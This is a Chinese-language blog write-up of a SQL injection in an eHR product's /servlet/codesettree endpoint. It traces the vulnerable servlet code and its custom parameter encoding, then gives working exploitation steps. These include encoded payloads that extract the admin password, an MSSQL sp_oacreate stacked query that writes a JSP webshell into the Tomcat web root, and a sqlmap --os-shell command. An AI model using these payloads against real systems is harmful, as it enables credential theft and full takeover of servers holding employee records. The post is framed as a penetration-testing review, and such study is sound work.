某ehr sql注入漏洞利用(getshell)

前言

很早之前就审过该ehr系统(sql注入的确挺多的),没想到这段时间打攻防,遇上它了,虽然没通过最近爆出来的SQL注入漏洞去getshell,但是回酒店后也简单的复习了一下。

image

漏洞成因

首先漏洞触发点是在/servlet/codesettree这个路径下,一般情况下servlet的声明都会在WEB-INF/web.xml里。

image

这个路径的servlet-name的值是CodeSetServlet,继续搜索该servlet-name的值。

此时找到了该servlet对应的类是com.hjsj.hrms.servlet.sys.CodeSetServlet

image

搜一下,发现逻辑很简单。
CodeSetServlet继承于HttpServlet

CodeSetServlet类定义了默认的构造方法CodeSetServlet(),该方法没实现功能。

重写了doGet()doPost()方法,这两个方法用于处理http请求方法。

Get请求访问这个url-pattern时,会执行doPost的逻辑,传入参数flagstatuscodesetidparentidcategoriesfromflag的值,并将这些参数的值传递到了loadUserNodes方法里。

image

flag=c时,即var1=c时,这里执行了一个sql查询的操作。且var5的值直接拼接到了sql语句里,var5是访问路径/servlet/codesettree时传入的categories的值,所以categories参数处存在一个SQL注入漏洞。

image

categories的值传递过程中需要使用SafeCode.decode方法处理一下。

image

这里也实现了encode的逻辑,逻辑很好读,下面将会解读。

image

漏洞利用

互联网流传payload

功能是查询数据库名称

/servlet/codesettree?categories=~31~27~20union~20all~20select~20~27hellohongjingHcm~27~2cdb~5fname~28~29~2d~2d&codesetid=1&flag=c&parentid=-1&status=1

image

深入利用

读取后台管理员账号密码

编码前

1
1' union all select 'hellohongjingHcm',PassWord from OperUser where UserName='admin'--

编码后

1
~31~27~20union~20all~20select~20~27hellohongjingHcm~27~2cPassWord~20from~20OperUser~20where~20UserName~3d~27admin~27~2d~2d

image

效果

image

GetShell

方法一:存储过程GETSHELL,要求站库不分离

safe6Sec PentestDB mssql 存储过程sp_oacreate写shell

该漏洞利用前提条件是dba权限和网站物理路径

在某个servlet的实现方法里,发现了获取物理路径的方法

这里通过getAbsolutePath()方法获取到文件的物理路径后,直接在fullpath处回显,该物理路径被PubFunc.encrypt()方法加密。

image

直接开始利用了,发包,拿到fullpath的值

image

很明显,一般有encrypt方法,那么该类下就会有decrypt方法。

image

调用该方法解密,得到网站物理路径。

image

在tomcat项目里,网站根目录路径一般是D:\tomcat\webapps\ROOT\

因此此处的网站根目录路径是D:\apache-tomcat-x.x.x\webapps\ROOT\

将存储过程中的输出路径修改到网站根目录下的jsp文件里。

1
2
3
4
5
6
7
8
1';EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'D:\apache-tomcat-x.x.x\webapps\ROOT\test.jsp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'webshell';--

调用SafeCode.encode()方法进行编码操作。

image

发包后,回显xml,代表发送成功(失败就url编码一下)

image

再访问http://x.x.x.x/test.jsp,发送写入成功。

image

方法二:编写sqlmap的tamper,通过–os-shell getshell

要编写sqlmaptamper脚本,就得了解这里SafeCode.encode()的逻辑。

image

  1. 传入字符串s,声明字符串s3

  2. 判断字符串s是否为空,不为空走else逻辑;

  3. 获取字符串s的长度,循环取出字符串中的每个字符,判断字符cunicode的值是否大于255。如果大于,将该字符的unicode的值转换成16进制,并确保该16进制的值是4位长度,不够4位,前面补0,直到4位。补到4位后,拼接到s3+'^'后面;

  4. 判断字符c是否是一个可以显示的ascii编码的字符,如果是,则字符c拼接到s3后面;

  5. 上面两个条件都不符合的情况下,将字符cunicode的值,转换成16进制,确保该16进制的值是2位长度,不够2位,前面补0。并拼接到s3+'~'后面。

最终效果

1
python3 sqlmap.py -u "http://x.x.x.x/servlet/codesettree?categories=1&codesetid=1&flag=c&parentid=-1&status=1"  -p categories --dbms="Microsoft SQL Server" --tamper ehr_SafeCodeEncode_tamper --level 3 --os-shell 

image

总结

虽然这次攻防不是利用这个注入打进去的,但是学习了一下新的GETSHELL方法也是不错的。

关于上面获取物理路径的方法,可以自行找一下,难度不大。

参考文档

各种数据库的利用姿势
宏景ehr sql注入的tamper脚本(sqlmap使用)

Author: jdr
Link: https://jdr2021.github.io/2023/06/14/某ehr-sql注入漏洞利用-getshell/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.